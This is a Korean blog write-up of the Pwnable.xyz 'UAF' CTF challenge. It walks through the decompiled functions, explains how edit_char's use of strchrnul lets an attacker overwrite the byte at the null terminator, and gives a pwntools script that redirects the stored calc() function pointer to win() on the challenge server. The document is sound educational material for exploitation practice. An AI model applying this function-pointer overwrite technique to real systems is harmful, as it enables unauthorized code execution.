tmxklab
[Pwnable.xyz] UAF 본문
1. 문제
nc svc.pwnable.xyz 30015
1) mitigation 확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
initialize_game();
printf("Name: ");
read(0, cur, 0x7FuLL);
while ( 1 )
{
print_menu();
switch ( (unsigned __int64)(unsigned int)read_int32() )
{
case 0uLL:
return 0;
case 1uLL:
(*((void (**)(void))cur + 17))();
break;
case 2uLL:
save_game();
break;
case 3uLL:
delete_save();
break;
case 4uLL:
printf("Save name: %s\n", cur);
break;
case 5uLL:
edit_char();
break;
default:
puts("Invalid");
break;
}
}
}
- Name에 대한 입력을 read()를 통해 0x7f까지 cur에 저장할 수 있다.
- 총 5개의 메뉴를 확인할 수 있는데 case 1에 cur+17(cur→calc())을 호출하는데 이 부분이 수상해보인다.
3-2) initialize_game()
char *initialize_game()
{
char *result; // rax
cur = (char *)malloc(0x90uLL);
*((_QWORD *)cur + 16) = malloc(0x90uLL);
*((_QWORD *)cur + 17) = calc;
result = cur;
saves[0] = (__int64)cur;
return result;
}
- cur(전역변수)에 malloc(0x90, cur+16에 malloc(0x90), cur+17에 calc()주소 저장
- saves[0]에 cur포인터 저장
3-3) save_game()
int save_game()
{
__int64 v0; // rbx
__int64 v1; // rdx
__int64 v2; // rax
int i; // [rsp+Ch] [rbp-14h]
for ( i = 1; ; ++i )
{
if ( i > 9 )
{
LODWORD(v2) = puts("No space.");
return v2;
}
if ( !saves[i] )
break;
}
saves[i] = (__int64)malloc(0x90uLL);
v0 = saves[i];
*(_QWORD *)(v0 + 128) = malloc(0x90uLL);
if ( !*(_QWORD *)(saves[i] + 136) )
*(_QWORD *)(saves[i] + 136) = *((_QWORD *)cur + 17);
printf("Save name: ");
read(0, (void *)saves[i], 0x80uLL);
v1 = i;
v2 = saves[v1];
cur = (char *)saves[v1];
return v2;
}
- saves[i]에 값이 존재하지 않으면 해당 주소에 malloc(0x90)을 한다.
- 그리고 saves[i] + 128위치에도 malloc(0x90)을 한다.
- saves[i] + 136위치에 값이 존재하지 않으면 cur + 17을 넣는다.
- 아까전에 malloc(0x90)받은 곳인 saves[i]에 read를 통해 0x80만큼 데이터를 입력받는다.
- 마지막으로 cur에 saves[i]을 넣는다.
3-4) delete_save()
__int64 *delete_save()
{
__int64 *result; // rax
int v1; // [rsp+Ch] [rbp-14h]
void *v2; // [rsp+10h] [rbp-10h]
printf("Save #: ");
v1 = read_int32();
if ( v1 < 0 || v1 > 9 )
puts("Invalid");
result = (__int64 *)saves[v1];
if ( result )
{
v2 = *(void **)(saves[v1] + 128);
free((void *)saves[v1]);
*(_QWORD *)(saves[v1] + 128) = 0LL;
free(v2);
result = saves;
saves[v1] = 0LL;
}
return result;
}
- 인덱스가 0 ~ 9 범위안의 saves[i]가 존재하면 saves[v1]을 free하고 saves[v1]+128에 널 값을 넣고 saves[v1]+128을 free한다. 마지막으로 saves[v1]에 널 값을 넣는다.
3-5) edit_char()
int edit_char()
{
int result; // eax
unsigned __int8 v1; // [rsp+6h] [rbp-Ah]
char v2; // [rsp+7h] [rbp-9h]
puts("Edit a character from your name.");
printf("Char to replace: ");
v1 = getchar();
getchar();
printf("New char: ");
v2 = getchar();
result = getchar();
if ( v1 && v2 )
{
result = (unsigned __int64)strchrnul(cur, v1);
if ( result )
*(_BYTE *)result = v2;
else
result = puts("Character not found.");
}
return result;
}
- 바꿀 글자에 대한 입력을 v1에 받는다.
- 새로운 글자에 대한 입력을 v2에 받는다.
- v1, v2 둘다 값이 존재하면 strchrnul의 파라미터로 들어간다.
- strchrnul() 설명 : 문자열 cur에서 v1의 글자를 발견하면 발견된 첫번째 항목에 대한 cur포인터를 result에 반환하고 발견되지 않으면 cur포인터의 끝 즉, 문자열의 끝은 널 바이트이므로 널 포인터를 가리키는 포인터를 반환
- result가 존재하면(발견된 cur 포인터) result포인터에 v2를 넣는다.
- 근데 result에 저장된 값은 널 값이 아니라 cur 포인터이므로 문자열을 못찾았다고 result에 널 값이 저장되는 것이 아니라 널 바이트를 가리키는 cur포인터이므로 무조건 result에 v2를 넣을 수 있음
전역 변수)
- cur : 0x6022c0
- saves : 0x6022e0
2. 접근방법
처음에 문제이름을 보고 UAF(Use After Free)를 이용한 문제인 줄 알았으나 해당 코드를 분석해보니 malloc사이즈는 정해져있지 않고 0x90만큼만 malloc하는 것을 확인할 수 있다 → save_game()
따라서, free할 경우 small bin사이즈이므로 먼저 unsorted bin에 들어가게 되고 동일한 청크 사이즈(0x90)을 free하게 되면서 결국엔 consolidate되어 청크 병합이되어 재할당시(0x90만큼) 청크 사이즈를 만족하지 못하여 해당 청크를 재할당 받을 수 없다.
1) cur 구조
- main함수에 initialize_game()을 실행하고 난 이후의 상황이다.
- cur과 saves에 malloc할당 받은 청크의 주소가 저장되어 있다.
- 그리고 cur+16에는 0x603330이 저장되어 있고 cur+17에는 0x400d6b, calc()의 주소가 저장되어 있다.
2) edit_char()
edit_char은 cur에 있는 문자열에서 어떤 문자를 찾아서 내가 원하는 문자로 변경하는 기능을 한다.
따라서, edit_char()을 이용해서 cur+17에 존재하는 calc()의 주소 값 대신에 win()주소로 변경하면 main함수에서 cur+17를 호출하는 부분을 통해 익스할 수 있을 것이다.
** 주의할 점 **
cur + 17에 calc()의 주소가 존재하는데 strchrnul()를 이용하여 cur의 문자열을 찾을 때 문자열의 끝은 널 바이트로 인식하므로 cur에서 cur + 17까지 존재하는 널 바이트 제거 작업을해줘야한다.
① read(0, cur, 0x7f) 를 통해 0x7f만큼 더미 값을 채워준다.(0x0d, 0x6b에 중첩되지 않도록)
② edit_char()를 통해 아직 남아있는 널 바이트를 제거해준다.
→ 해당 문자를 발견하지 못하면 문자열의 끝에(널 바이트가 존재하는 곳) 어떤 문자를 넣을 수 있으므로
3. 풀이
1) win(), calc()주소
- 하위 2bytes만 차이나므로 cur→calc()의 하위 2bytes를 변경해주자
2) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30015)
#gdb.attach(p)
def change(old, new):
p.sendafter("> ", str(5))
p.sendlineafter("replace: ", old)
p.sendlineafter("char: ", new)
# 1. remove null byte(1)
p.sendafter("Name: ", "A"*0x7f)
# 2. remove null byte(2)
for i in range(5):
change('Z', 'A')
# 3. change calc() -> win()
change('\x6b', '\xf3')
change('\x0d', '\x0c')
# 4. execute win()
p.sendlineafter("> ", str(1))
p.interactive()
3) 실행결과
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] fclose (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] message (0) | 2020.09.09 |
[Pwnable.xyz] BabyVM (0) | 2020.06.23 |
[Pwnable.xyz] iape (0) | 2020.05.03 |
[Pwnable.xyz] strcat (0) | 2020.05.03 |